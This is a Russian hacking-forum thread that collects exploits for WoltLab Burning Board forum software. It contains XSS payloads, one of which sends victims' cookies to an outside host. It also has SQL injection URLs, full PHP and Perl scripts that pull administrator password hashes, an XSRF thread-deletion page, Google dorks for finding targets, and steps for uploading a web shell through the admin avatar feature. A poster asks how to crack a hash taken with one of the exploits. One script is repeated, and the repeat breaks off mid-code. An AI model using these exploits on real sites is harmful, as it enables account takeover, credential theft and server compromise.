Burning Board 2.0 \ 2.0.1 \ 2.0.2 XSS Wiw.php сценарий не достаточно фильтрует данные, представленные пользователем в sortby и order параметрах. Уязвимость может использоваться для доступа к куки пользователя wBB форума. Пример: Code: /board/wiw.php?sid=&order=%22%3E%3Cscript%20type= %22text/javascript%22%3Eal ert(document.cookie);%3C/script%3E%3Cb%20%22 Burning Board 2.0 sql инъекция Из за недостаточного сканирования параметров, обрабатываемых сценарием board.php, атакующий может внедрить произвольный SQL код в существующий SQL запрос. Уязвимость позволяет атакующему модифицировать данные в базе данных, выполнять произвольные команды и получать привилегии администратора BBS. Пример: Code: board.php?boardid=[boardid]%27,%20userid=%27[victims userid, 1 is usually an admin]&sid=[attackers session-id] Burning Board 2.х sql инъекция Уязвимость существует в функции verify_email() при обработке входных данных формы в переменной $email. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения. Пример: Code: [email protected]' OR (userid=1 AND MID(password,1,1)='a')/* Burning Board 2.x XSS при регистрации в полях: Code: username email addres password confirm password homepage icq uin aim screenname yim screenname msn screenname срабатывает xss. Burning Board 2.3.1 и более ранние версии XSS Уязвимость позволяет удаленному пользователю произвести XSS нападение и получить доступ к потенциально важным данным других пользователей. Уязвимость существует в сценарии 'thread.php' из-за некорректной обработки входных данных в параметре 'hilight'. Пример: Code: /thread.php?threadid=[TOPIC_ID]&hilight=[XSS] Burning Board 2.2.2/2.3.3 и более ранние версии sql инъекция Пример: Code: /modcp.php?action=post_del&x='SQ L_CODE_HERE /modcp.php?action=post_del&x=6&y='SQL_CODE_HERE Burning Board 2.3.4 XSS Уязвимость позволяет удаленному пользователю произвести XSS нападение. Уязвимость существует из-за недостаточной обработки входных данных в сценарии "acp/lib/class_db_mysql.php". пример: Code: /wbb/xx.php?<script>location.href='http://yoursite.com/xss.php? cook='+escape(document.cookie)</script> Burning Board 2.3.5 XSS Уязвимость позволяет удаленному пользователю произвести XSS нападение. Уязвимость существует из-за недостаточной обработки входных данных в вложениях. Удаленный пользователь может с помощью специально сформированного изображения (GIF файл с расширением .jpg) выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта. Burning Board 2.3.6 sql инъекция Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения. Уязвимость существует из-за недостаточной обработки входных данных сценарием search.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения. 3 сплоита под это дело: PHP: <?php /* ################################### # http://www.undergroundagents.de # # coded by silent vapor # # [email protected] # ################################### */ print_r(' -------------------------------------------------------------------------------- Woltlab Burning Board Lite <= 1.0.2 GetHashes over search.php Woltlab Burning Board <= 2.3.6 GetHashes over search.php by silent vapor ([email protected]) site: http://www.undergroundagents.de dork: "Powered by Burning Board Lite 1.0.2" or "Powered by Burning Board 2.3.6" -------------------------------------------------------------------------------- '); if ($argc<3) { print_r(' -------------------------------------------------------------------------------- Usage: php '.$argv[0].' host path boardid searchstring OPTIONS host: target server (ip/hostname) path: path to wbblite boardid: a boardid where you will search searchstring: a searchstring, that will be found in this board Options: -o[prefix]: " a table prefix (default: bb1_) -p[port]: " a port other than 80 -P[ip:port]: " a proxy -t[n]: " adjust query timeout (default: 10) Example: php '.$argv[0].' localhost /wbblite/ 28 avatar " " localhost / 29 cpu -p81 -P127.0.0.1:8080 -------------------------------------------------------------------------------- '); die; } error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); } $host=$argv[1]; $path=$argv[2]; $boardid=$argv[3]; $searchstring=$argv[4]; $prefix = "bb1_"; $port=80; $timeout=10; $proxy=""; for ($i=5; $i<$argc; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if ($temp=="-p") { $port=str_replace("-p","",$argv[$i]); } if ($temp=="-P") { $proxy=str_replace("-P","",$argv[$i]); } if ($temp=="-t") { $timeout=(int) str_replace("-t","",$argv[$i]); } if ($temp=="-o") { $prefix=str_replace("-o","",$argv[$i]); } } if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} $path .= "search.php"; if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} $boardids="boardids%5B%5D=$boardid) UNION SELECT username,password FROM ".$prefix."users WHERE 1 NOT IN (0,0"; $data = "searchstring=$searchstring&searchuser=&name_exactly=1&$boardids&showposts=0&searchdate=0"; $data .= "&beforeafter=after&sortby=lastpost&sortorder=desc&send=send&submit=Suchen"; $packet ="POST ".$p." HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Cookie: wbb_userpassword=0;\r\n"; $packet.="Connection: Close\r\n\r\n"; $packet.=$data; sendpacketii($packet); if (eregi("Database error",$html)){ echo "<b>vulnerable...</b><br><br>"; $temp1=explode("b.boardid IN (",$html); $temp2=explode(")",$temp1[1]); $temp3=explode("&sid=",$temp2[0]); $temp4=$temp3[0]; $temp5=explode(",",$temp4); for ($i=0;$i<count($temp5);$i++) { if ($i%2 == 0) echo $temp5[$i]." ( Hash: "; else echo $temp5[$i].")<br>"; } } ?> Code: #!/usr/bin/perl # Woltlab Burning Board 2.X/Lite search.php SQL Injection exploit - burned.pl # written by trew <[email protected]> # # should work on every wbb regardless of php settings. # # v 1.2 - added 1337 sql filter evasion, version identification,better regex,raw cookie # v 1.1 - added wbblite support (thx to lama) # # # # !PRIVATE! - !PRIVATE! # # Leaked by some morons from egocrew # use strict; # 1337 use warnings; # 31337 use LWP::UserAgent; use HTTP::Response; use HTTP::Status; use Getopt::Std; getopt('uisUpAclC'); our ( $opt_u, $opt_i, $opt_s, $opt_U, $opt_p, $opt_A, $opt_c, $opt_l, $opt_C ); my $target = shift; sub do_request($$); if ( !$target ) { &HELP_MESSAGE; } my ( $host, $folder ); if ( $target =~ /(?:http:\/\/)?([\w\.\-\_]*)(\/.*)?/ ) { $host = $1; $folder = ( $2 ? $2 : '/' ); if ( $folder !~ /\/$/ ) { $folder .= '/'; } $target = "http://$host$folder" . 'search.php'; } else { &HELP_MESSAGE; } my $ip = ( $opt_i ? $opt_i : '127.0.0.1' ); my $searchstring = ( $opt_s ? $opt_s : 'board' ); my ( $userid, $userpassword, $proxy, $proxyip ); ( $userid, $userpassword ) = split( ':', $opt_U ) if $opt_U; ( $proxy, $proxyip ) = split( ':', $opt_p ) if $opt_p; my $uid = ( $opt_u ? $opt_u : 1 ); my $useragent = ( $opt_A ? $opt_A : 'Mozilla/5.0 Gecko/20061206 Firefox/1.5.0.9' ); my $prefix = ( $opt_c ? $opt_c : 'wbb2_' ); my $lite = ( $opt_l ? $opt_l : 0 ); my $isHash = 0; print "burned.pl written by trew\n"; print "report errors \@ trew\@safe-mail.net.. thx\n"; print "[x] Attacking $target...\n"; if ( $userpassword and $userpassword =~ /([a-f0-9]{32})/ ) { $isHash = 1; } if ( !$lite ) { print "[x] Checking wbb version...\n"; if ( do_request( '', 'editor.jar' ) =~ /404 Not Found/ ) { print "[x] Looks like a wbblite\n"; $prefix = "" if ( !$opt_c ); $lite = 1; } else { print "[x] Looks like a normal wbb\n"; } } if ( !$lite ) { if ( !$opt_c ) { my $headers = do_request( '', '' ); if ( $headers =~ /Set-Cookie: (.*?)cookiehash/ ) { $prefix = $1; } else { print $headers} } print "[x] Cookie prefix: $prefix\n"; } print "[x] Vulnerable check:"; my $answer; my $pre; $answer = do_request( '\'', '' ); if ( $answer =~ /FROM (.*?)_boards/ ) { $pre = $1; print " Vulnerable\n"; } elsif ($answer =~ /Die Suche ergab keine/ or $answer =~ /No results were found for this search/ or $answer =~ /Your search is invalid/ or $answer =~ /Ihre Suchabfrage ist/ ) { print " No Idea\n"; print "[x] Searchstring was not found, try a different one with -s\n"; exit; } elsif ($answer =~ /Ihnen wird der Zutritt zu dieser Seite/ or $answer =~ /Access denied/ ) { print " No Idea\n"; print "[x] search.php only for users,"; print " wrong userdetails or wrong cookie-prefix!\n" if $opt_U; print " give me userid+password with -U\n" if !$opt_U; exit; } else { print " Not Vulnerable!\n"; #print $answer; exit; } print "[x] Unleashing black magic...\n"; $answer = do_request( ' UNION/*s12s*/ SELECT/*t35s*/ password , password /*er35*/ FRoM ' . $pre . '_users WHeRE/*esr35*/ userid=' . $uid . '/*', '' ); if ( $answer =~ /${folder}search.php/ and $answer =~ /([a-f0-9]{32})/ ) { print "[x] Looks good!\n"; print "[x] Userid: $uid\n"; print "[x] Hash: $1\n"; if ( !$opt_C ) { print "[x] Use this Cookie:\n ${prefix}userid=$uid;${prefix}userpassword=$1\n"; } } else { print "[x] Looks bad!\n"; print $answer; } sub HELP_MESSAGE() { print "burned.pl written by trew\n" . "perl $0 [options] url\n" . "examples:\n" . "perl $0 woltlab.de/forum/\n" . "perl $0 -u 2 -i 127.0.0.2 woltlab.de/de/forum/\n" . "overwrite -c and -l only when the auto-check " . "gives you a false result\n" . "use -C when you need some special cookies\n" . "options :\n-u userid of victim [1]\n" . "-i faked client-ip [127.0.0.1]\n" . "-s searchstring [board]\n" . "-U userid:password or userid:pwhash [none]\n" . "-p proxyip:proxyport [none]\n" . "-A user-agent [firefox 1.5.09]\n" . "-c cookie-prefix [auto-check]\n" . "-l wbblite mode [auto-check]\n" . "-C raw cookie\n"; exit; } sub do_request($$) { my $string = shift; my $otherurl = shift; if ($otherurl) { $target = "http://$host$folder" . $otherurl; } else { $target = "http://$host$folder" . 'search.php' } $string = '/*' if ( !$string ); my $ua = LWP::UserAgent->new; if ($proxy) { $ua->proxy( 'http', "http://$proxy:$proxyip/" ); } my $request = new HTTP::Request( 'POST', $target ); $request->content( 'boardids%5B0%5D=1&boardids%5B1%5D=2,3,4)' . $string . '&send=1&searchstring=' . $searchstring ); $request->content_type('application/x-www-form-urlencoded'); $request->header( 'User-Agent' => $useragent ); if ($opt_U) { my $userhash; if ( !$isHash ) { $userhash = md5($userpassword); } else { $userhash = $userpassword; } my $cookie = $prefix . 'userid=' . $userid . ';' . $prefix . 'userpassword=' . $userhash; $request->header( 'Cookie' => $cookie ); } elsif ($opt_C) { $request->header( 'Cookie' => $opt_C ); } $request->header( 'Client-Ip' => $ip ); my $response = $ua->request($request); my $body = $response->content; my $headers = $response->headers_as_string; $body = $response->error_as_HTML if ( $response->is_error ); return $headers if ( $string eq '/*' and !$response->is_error ); return $body; } # MD5 Code ripped from Libwhisker for bigger portability # thx rfp :) { my ( @S, @T, @M ); my $code = ''; sub md5 { return undef if ( !defined $_[0] ); # oops, forgot the data my $DATA = _md5_pad( $_[0] ); &_md5_init() if ( !defined $M[0] ); return _md5_perl_generated( \$DATA ); } sub _md5_init { return if ( defined $S[0] ); my $i; for ( $i = 1 ; $i <= 64 ; $i++ ) { $T[ $i - 1 ] = int( ( 2**32 ) * abs( sin($i) ) ); } my @t = ( 7, 12, 17, 22, 5, 9, 14, 20, 4, 11, 16, 23, 6, 10, 15, 21 ); for ( $i = 0 ; $i < 64 ; $i++ ) { $S[$i] = $t[ ( int( $i / 16 ) * 4 ) + ( $i % 4 ) ]; } @M = ( 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 1, 6, 11, 0, 5, 10, 15, 4, 9, 14, 3, 8, 13, 2, 7, 12, 5, 8, 11, 14, 1, 4, 7, 10, 13, 0, 3, 6, 9, 12, 15, 2, 0, 7, 14, 5, 12, 3, 10, 1, 8, 15, 6, 13, 4, 11, 2, 9 ); &_md5_generate(); my $TEST = _md5_pad('foobar'); if ( _md5_perl_generated( \$TEST ) ne '3858f62230ac3c915f300c664312c63f' ) { die('Error: MD5 self-test not successful.'); } } sub _md5_pad { my $l = length( my $msg = shift() . chr(128) ); $msg .= "\0" x ( ( $l % 64 <= 56 ? 56 : 120 ) - $l % 64 ); $l = ( $l - 1 ) * 8; $msg .= pack 'VV', $l & 0xffffffff, ( $l >> 16 >> 16 ); return $msg; } sub _md5_generate { my $N = 'abcddabccdabbcda'; my ( $i, $M ) = ( 0, '' ); $M = '&0xffffffff' if ( ( 1 << 16 ) << 16 ); # mask for 64bit systems $code = <<EOT; sub _md5_perl_generated { BEGIN { \$^H |= 1; }; # use integer my (\$A,\$B,\$C,\$D)=(0x67452301,0xefcdab89,0x98badcfe,0x10325476); my (\$a,\$b,\$c,\$d,\$t,\$i); my \$dr=shift; my \$l=length(\$\$dr); for my \$L (0 .. ((\$l/64)-1) ) { my \@D = unpack('V16', substr(\$\$dr, \$L*64,64)); (\$a,\$b,\$c,\$d)=(\$A,\$B,\$C,\$D); EOT for ( $i = 0 ; $i < 16 ; $i++ ) { my ( $a, $b, $c, $d ) = split( '', substr( $N, ( $i % 4 ) * 4, 4 ) ); $code .= "\$t=((\$$d^(\$$b\&(\$$c^\$$d)))+\$$a+\$D[$M[$i]]+$T[$i])$M;\n"; $code .= "\$$a=(((\$t<<$S[$i])|((\$t>>(32-$S[$i]))&((1<<$S[$i])-1)))+\$$b)$M;\n"; } for ( ; $i < 32 ; $i++ ) { my ( $a, $b, $c, $d ) = split( '', substr( $N, ( $i % 4 ) * 4, 4 ) ); $code .= "\$t=((\$$c^(\$$d\&(\$$b^\$$c)))+\$$a+\$D[$M[$i]]+$T[$i])$M;\n"; $code .= "\$$a=(((\$t<<$S[$i])|((\$t>>(32-$S[$i]))&((1<<$S[$i])-1)))+\$$b)$M;\n"; } for ( ; $i < 48 ; $i++ ) { my ( $a, $b, $c, $d ) = split( '', substr( $N, ( $i % 4 ) * 4, 4 ) ); $code .= "\$t=((\$$b^\$$c^\$$d)+\$$a+\$D[$M[$i]]+$T[$i])$M;\n"; $code .= "\$$a=(((\$t<<$S[$i])|((\$t>>(32-$S[$i]))&((1<<$S[$i])-1)))+\$$b)$M;\n"; } for ( ; $i < 64 ; $i++ ) { my ( $a, $b, $c, $d ) = split( '', substr( $N, ( $i % 4 ) * 4, 4 ) ); $code .= "\$t=((\$$c^(\$$b|(~\$$d)))+\$$a+\$D[$M[$i]]+$T[$i])$M;\n"; $code .= "\$$a=(((\$t<<$S[$i])|((\$t>>(32-$S[$i]))&((1<<$S[$i])-1)))+\$$b)$M;\n"; } $code .= <<EOT; \$A=\$A+\$a\&0xffffffff; \$B=\$B+\$b\&0xffffffff; \$C=\$C+\$c\&0xffffffff; \$D=\$D+\$d\&0xffffffff; } # for return unpack('H*', pack('V4',\$A,\$B,\$C,\$D)); } EOT eval "$code"; } } # md5 package container Code: #!/usr/bin/perl use LWP::UserAgent; use HTTP::Response; $| = 1; print " ################################################### ## ## Woltlab Burning Board 2.3.6 <= / Lite Exploit ## ################################################### ## ## Coded by 666 <http://blueshisha.mutebox.net> ## Bug by trew ## ################################################### \n"; if($#ARGV < 0) { print "[x] Usage: wbbsploit.pl [Target] [Userid] [Searchstring]\n"; exit; } print "<~> Exploiting...\n"; my $url = shift; my $id = shift; my $sstring = shift; my $ua = LWP::UserAgent->new; my $request = new HTTP::Request('POST', 'http://'.$url.'search.php'); $request->content('searchuser=&name_exactly=1&topiconly=0&showposts=0&searchdate=0&beforeafter=after&sortby=lastpost&sortorder=desc&send=send&sid=&submit=Suchen&boardids%5B%5D=1)%20UNION%20SELECT%20username,password%20FROM%20bb1_users%20WHERE%20userid='.$id.'/*&searchstring='.$sstring.''); $request->content_type('application/x-www-form-urlencoded'); my $response = $ua->request($request); my $body = $response->content; print "<~> Hash: "; $body=~/([a-f0-9]{32})/; print $1; print "\n"; спасибо багтракам хакера, и секлаба.
Lite версии Burning Board Lite 1.0.2(последняя на данный момент lite версия) XSS при регистрации в полях: Code: username email addres password confirm password homepage icq uin aim screenname yim screenname msn screenname location interests Occupation срабатывает xss. Burning Board Lite 1.0.2 XSS если разегистрироваться и указать в качестве ника "><script>alert(99)</script> то при входе в аккаунт скрипт будет срабатывать - xss. Burning Board Lite 1.0.2 доступ в директорию /acp/lib/ свободен(/acp - админка, и туда - тока с пассом) а там лежит файл config.php \\// также в админке присутствуют xss решил что не стоит про них писать... но если комуто интересно... я напишу. Burning Board Lite 1.0.2pl3e sql инъекция Уязвимость существует из-за недостаточной обработки входных данных в параметре "pmid[0]" в сценарии pms.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения. Для успешной эксплуатации требуется валидная учетная запись пользователя и чтобы приложение было запущено на MySQL 4.1 или выше. Burning Board Lite 1.0.2pl2e sql инъекция Уязвимость существует из-за недостаточной обработки входных данных в параметре "threadvisit" в файле куки. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения. уязвимости модулей: Database 2.5 (модуль для Woltlab Burning Board) sql инъекция Уязвимость существует при обработке входных данных в параметрах fileid и subkatid в сценарии info_db.php. Удаленный пользователь может с помощью специально сформированного URL выполнить произвольные SQL команды в базе данных приложения. Пример: Code: /info_db.php?action=file&fileid=[SQL-Injection] /info_db.php?action=file&fileid=59&subkatid=[SQL-injection] если где ошибся - говорите, исправлю. заливаем шелл: Burning Board Lite 1.0.2 заливаем шелл: в админке жмём Add Avatar далее заливаем наш шелл, расширение php пропускает. шелл будет находиться по адресу: Code: /images/avatars/avatar-shell.php(при имени шелла shell.php)
Раскрытие префикса БД wbb 2.3.4 /forum/thread.php?threadid=37&page=-2 Code: SQL-DATABASE ERROR Database error in WoltLab Burning Board (2.3.4): Invalid SQL: SELECT postid, attachments FROM bb1_posts WHERE threadid = '37' AND visible=1 ORDER BY posttime ASC LIMIT -30, 10 mysql error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-30, 10' at line 1 mysql error number: 1064 mysql version: 4.1.16-max php version: 5.1.6 Date: 23.07.2007 @ 23:55 Script: /forum/thread.php?threadid=37&page=-2
Спасибо автору за информацию! Я выдрал с помощью сплоита хэш, но что с ним теперь делать? Все программы говорят, что алгоритм не Md 5 кто может подсказать как мне его расшифровать? Сначала думал что это сессия, НО он (кукис) неизменен. Значит это как то связанно с паролем. Курил исходники но так и не понял что почем.
Woltlab Burning Board Lite 1.0.2pl3e SQL-inj PHP: <?php $host = $argv[1]; $path = $argv[2]; $searchstring = $argv[3]; $userid = $argv[4]; If ($argc <= 4) { echo "Usage: filename.php [host] [path] [searchstring] [user-id] \n Examples: \n php filename.php localhost /wbblite/search.php Computer 1\n php filename.php localhost /search.php Board 1\n"; die; } $sqlinjecting = "searchstring=$searchstring&searchuser=&name_exactly=1&boardids%5B%5D=*&topiconly=0&showposts=0&searchdate=0&beforeafter=after&sortby=lastpost&sortorder=%27%20UNION%20SELECT%20password%20FROM%20bb1_users%20WHERE%20userid=$userid%20/*&send=send&sid=&submit=Suchen"; $con = fsockopen($host, 80); echo("==Woltlab Burning Board LITE SQL-Injection Exploit founded and coded by NBBN. \n\n\n"); sleep(1); fputs($con, "POST $path HTTP/1.1\n"); fputs($con, "Host: $host\n"); fputs($con, "Content-type: application/x-www-form-urlencoded\n"); fputs($con, "Content-length: ". strlen($sqlinjecting) ."\n"); fputs($con, "Connection: close\n\n"); fputs($con, "$sqlinjecting\n"); while(!feof($con)) { $res .= fgets($con, 128); } echo("Well done...\n"); fclose($con); echo $res; echo "The password-hash is in search.php?searchid=[Hash]\n"; $the_hash = substr($res,strpos($res,'searchid=')+9,32); echo "Hash: $the_hash\n\n"; ?>
Woltlab Burning Board 2.3.6 PL2 Remote Delete Thread XSRF Vulnerability XSRF Vulnerability Vulnerable: Woltlab Burning Board 2.3.6 PL2 HTML: <html> <head> </head> <body onLoad="javascript:document.it.submit()"> <form action="http://localhost/xampp/wbb2/modcp.php" method="post" name="it"> <input type="hidden" name="action" value="thread_del" /> <input type="hidden" name="threadid" value="5" /> <!-- Здесь id темы--> <input type="hidden" name="send" value="send" /> <input type="hidden" name="sid" value="" /> <input type="submit" accesskey="S" value="Ja" class="input" /> </body> </html> Атакующий может отправить администратору/модератору ссылку на страницу с вышеописанным кодом и тогда тема с указанным id будет удалена.
WoltLab Burning Board 3.0.3 PL1 SQL Injection Vulnerability Vulnerable: WoltLab Burning Board 3.0.3 PLX WoltLab Burning Board 3.0.2 PLX WoltLab Burning Board 3.0.1 PLX WoltLab Burning Board 3.0.0 PLX PoC: Code: http://site.tld/wbb3/index.php?page=PMList&folderID=0&pageNo=1&sortFi eld=isViewed&sortOrder=ASC, (SELECT password FROM wcf1_user WHERE userID=1 AND IF(ORD(SUBSTR(password,1,1))>55,BENCHMARK(3000000, MD5(23)),1))
Woltlab Burning Board Addon JGS-Treffen SQL Injection Vulnerability Woltlab Burning Board Addon JGS-Treffen SQL Injection Vulnerability Code: ###################### # #Woltlab Burning Board Addon JGS-Treffen SQL Injection # ###################### # #Bug by: h0yt3r # #Dork: inurl:jgs_treffen.php # ## ### ## # #There is a bug in jgs_treffen.php 2.0.2 and lower. #It's already fixed in newer Versions... # #SQL Injection: #http://[target]/[path]/jgs_treffen.php?action=ansicht&view_id=[SQL] # #PoC: #jgs_treffen.php?action=ansicht&view_id='-1/**/UnIoN/**/All/**/SeLeCt/**/1,2,CoNcAt(email,0x3a,password),4,5,6,7,8,9,10,11,12,13,14,15/**/from/**/bb1_users/* # ####################### # #Greetz to ramon, thund3r and all the other dirty blackhat rest xD! # ####################### ####################### # milw0rm.com [2008-03-31]
начал использовать сплойт для версии 2.3.6 Code: #!/usr/bin/perl # Woltlab Burning Board 2.X/Lite search.php SQL Injection exploit - burned.pl # written by trew <[email protected]> # # should work on every wbb regardless of php settings. # # v 1.2 - added 1337 sql filter evasion, version identification,better regex,raw cookie # v 1.1 - added wbblite support (thx to lama) # # # # !PRIVATE! - !PRIVATE! # # Leaked by some morons from egocrew # use strict; # 1337 use warnings; # 31337 use LWP::UserAgent; use HTTP::Response; use HTTP::Status; use Getopt::Std; getopt('uisUpAclC'); our ( $opt_u, $opt_i, $opt_s, $opt_U, $opt_p, $opt_A, $opt_c, $opt_l, $opt_C ); my $target = shift; sub do_request($$); if ( !$target ) { &HELP_MESSAGE; } my ( $host, $folder ); if ( $target =~ /(?:http:\/\/)?([\w\.\-\_]*)(\/.*)?/ ) { $host = $1; $folder = ( $2 ? $2 : '/' ); if ( $folder !~ /\/$/ ) { $folder .= '/'; } $target = "http://$host$folder" . 'search.php'; } else { &HELP_MESSAGE; } my $ip = ( $opt_i ? $opt_i : '127.0.0.1' ); my $searchstring = ( $opt_s ? $opt_s : 'board' ); my ( $userid, $userpassword, $proxy, $proxyip ); ( $userid, $userpassword ) = split( ':', $opt_U ) if $opt_U; ( $proxy, $proxyip ) = split( ':', $opt_p ) if $opt_p; my $uid = ( $opt_u ? $opt_u : 1 ); my $useragent = ( $opt_A ? $opt_A : 'Mozilla/5.0 Gecko/20061206 Firefox/1.5.0.9' ); my $prefix = ( $opt_c ? $opt_c : 'wbb2_' ); my $lite = ( $opt_l ? $opt_l : 0 ); my $isHash = 0; print "burned.pl written by trew\n"; print "report errors \@ trew\@safe-mail.net.. thx\n"; print "[x] Attacking $target...\n"; if ( $userpassword and $userpassword =~ /([a-f0-9]{32})/ ) { $isHash = 1; } if ( !$lite ) { print "[x] Checking wbb version...\n"; if ( do_request( '', 'editor.jar' ) =~ /404 Not Found/ ) { print "[x] Looks like a wbblite\n"; $prefix = "" if ( !$opt_c ); $lite = 1; } else { print "[x] Looks like a normal wbb\n"; } } if ( !$lite ) { if ( !$opt_c ) { my $headers = do_request( '', '' ); if ( $headers =~ /Set-Cookie: (.*?)cookiehash/ ) { $prefix = $1; } else { print $headers} } print "[x] Cookie prefix: $prefix\n"; } print "[x] Vulnerable check:"; my $answer; my $pre; $answer = do_request( '\'', '' ); if ( $answer =~ /FROM (.*?)_boards/ ) { $pre = $1; print " Vulnerable\n"; } elsif ($answer =~ /Die Suche ergab keine/ or $answer =~ /No results were found for this search/ or $answer =~ /Your search is invalid/ or $answer =~ /Ihre Suchabfrage ist/ ) { print " No Idea\n"; print "[x] Searchstring was not found, try a different one with -s\n"; exit; } elsif ($answer =~ /Ihnen wird der Zutritt zu dieser Seite/ or $answer =~ /Access denied/ ) { print " No Idea\n"; print "[x] search.php only for users,"; print " wrong userdetails or wrong cookie-prefix!\n" if $opt_U; print " give me userid+password with -U\n" if !$opt_U; exit; } else { print " Not Vulnerable!\n"; #print $answer; exit; } print "[x] Unleashing black magic...\n"; $answer = do_request( ' UNION/*s12s*/ SELECT/*t35s*/ password , password /*er35*/ FRoM ' . $pre . '_users WHeRE/*esr35*/ userid=' . $uid . '/*', '' ); if ( $answer =~ /${folder}search.php/ and $answer =~ /([a-f0-9]{32})/ ) { print "[x] Looks good!\n"; print "[x] Userid: $uid\n"; print "[x] Hash: $1\n"; if ( !$opt_C ) { print "[x] Use this Cookie:\n ${prefix}userid=$uid;${prefix}userpassword=$1\n"; } } else { print "[x] Looks bad!\n"; print $answer; } sub HELP_MESSAGE() { print "burned.pl written by trew\n" . "perl $0 [options] url\n" . "examples:\n" . "perl $0 woltlab.de/forum/\n" . "perl $0 -u 2 -i 127.0.0.2 woltlab.de/de/forum/\n" . "overwrite -c and -l only when the auto-check " . "gives you a false result\n" . "use -C when you need some special cookies\n" . "options :\n-u userid of victim [1]\n" . "-i faked client-ip [127.0.0.1]\n" . "-s searchstring [board]\n" . "-U userid:password or userid:pwhash [none]\n" . "-p proxyip:proxyport [none]\n" . "-A user-agent [firefox 1.5.09]\n" . "-c cookie-prefix [auto-check]\n" . "-l wbblite mode [auto-check]\n" . "-C raw cookie\n"; exit; } sub do_request($$) { my $string = shift; my $otherurl = shift; if ($otherurl) { $target = "http://$host$folder" . $otherurl; } else { $target = "http://$host$folder" . 'search.php' } $string = '/*' if ( !$string ); my $ua = LWP::UserAgent->new; if ($proxy) { $ua->proxy( 'http', "http://$proxy:$proxyip/" ); } my $request = new HTTP::Request( 'POST', $target ); $request->content( 'boardids%5B0%5D=1&boardids%5B1%5D=2,3,4)' . $string . '&send=1&searchstring=' . $searchstring ); $request->content_type('application/x-www-form-urlencoded'); $request->header( 'User-Agent' => $useragent ); if ($opt_U) { my $userhash; if ( !$isHash ) { $userhash = md5($userpassword); } else { $userhash = $userpassword; } my $cookie = $prefix . 'userid=' . $userid . ';' . $prefix . 'userpassword=' . $userhash; $request->header( 'Cookie' => $cookie ); } elsif ($opt_C) { $request->header( 'Cookie' => $opt_C ); } $request->header( 'Client-Ip' => $ip ); my $response = $ua->request($request); my $body = $response->content; my $headers = $response->headers_as_string; $body = $response->error_as_HTML if ( $response->is_error ); return $headers if ( $string eq '/*' and !$response->is_error ); return $body; } # MD5 Code ripped from Libwhisker for bigger portability # thx rfp :) { my ( @S, @T, @M ); my $code = ''; sub md5 { return undef if ( !defined $_[0] ); # oops, forgot the data my $DATA = _md5_pad( $_[0] ); &_md5_init() if ( !defined $M[0] ); return _md5_perl_generated( \$DATA ); } sub _md5_init { return if ( defined $S[0] ); my $i; for ( $i = 1 ; $i <= 64 ; $i++ ) { $T[ $i - 1 ] = int( ( 2**32 ) * abs( sin($i) ) ); } my @t = ( 7, 12, 17, 22, 5, 9, 14, 20, 4, 11, 16, 23, 6, 10, 15, 21 ); for ( $i = 0 ; $i < 64 ; $i++ ) { $S[$i] = $t[ ( int( $i / 16 ) * 4 ) + ( $i % 4 ) ]; } @M = ( 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 1, 6, 11, 0, 5, 10, 15, 4, 9, 14, 3, 8, 13, 2, 7, 12, 5, 8, 11, 14, 1, 4, 7, 10, 13, 0, 3, 6, 9, 12, 15, 2, 0, 7, 14, 5, 12, 3, 10, 1, 8, 15, 6, 13, 4, 11, 2, 9 ); &_md5_generate(); my $TEST = _md5_pad('foobar'); if ( _md5_perl_generated( \$TEST ) ne '3858f62230ac3c915f300c664312c63f' ) { die('Error: MD5 self-test not successful.'); } } sub _md5_pad { my $l = length( my $msg = shift() . chr(128) ); $msg .= "\0" x ( ( $l % 64 <= 56 ? 56 : 120 ) - $l % 64 ); $l = ( $l - 1 ) * 8; $msg .= pack 'VV', $l & 0xffffffff, ( $l >> 16 >> 16 ); return $msg; } sub _md5_generate { my $N = 'abcddabccdabbcda'; my ( $i, $M ) = ( 0, '' ); $M = '&0xffffffff' if ( ( 1 << 16 ) << 16 ); # mask for 64bit systems $code = <<EOT; sub _md5_perl_generated { BEGIN { \$^H |= 1; }; # use integer my (\$A,\$B,\$C,\$D)=(0x67452301,0xefcdab89,0x98badcfe,0x10325476); my (\$a,\$b,\$c,\$d,\$t,\$i); my \$dr=shift; my \$l=length(\$\$dr); for my \$L (0 .. ((\$l/64)-1) ) { my \@D = unpack('V16', substr(\$\$dr, \$L*64,64)); (\$a,\$b,\$c,\$d)=(\$A,\$B,\$C,\$D); EOT for ( $i = 0 ; $i < 16 ; $i++ ) { my ( $a, $b, $c, $d ) = split( '', substr( $N, ( $i % 4 ) * 4, 4 ) ); $code .= 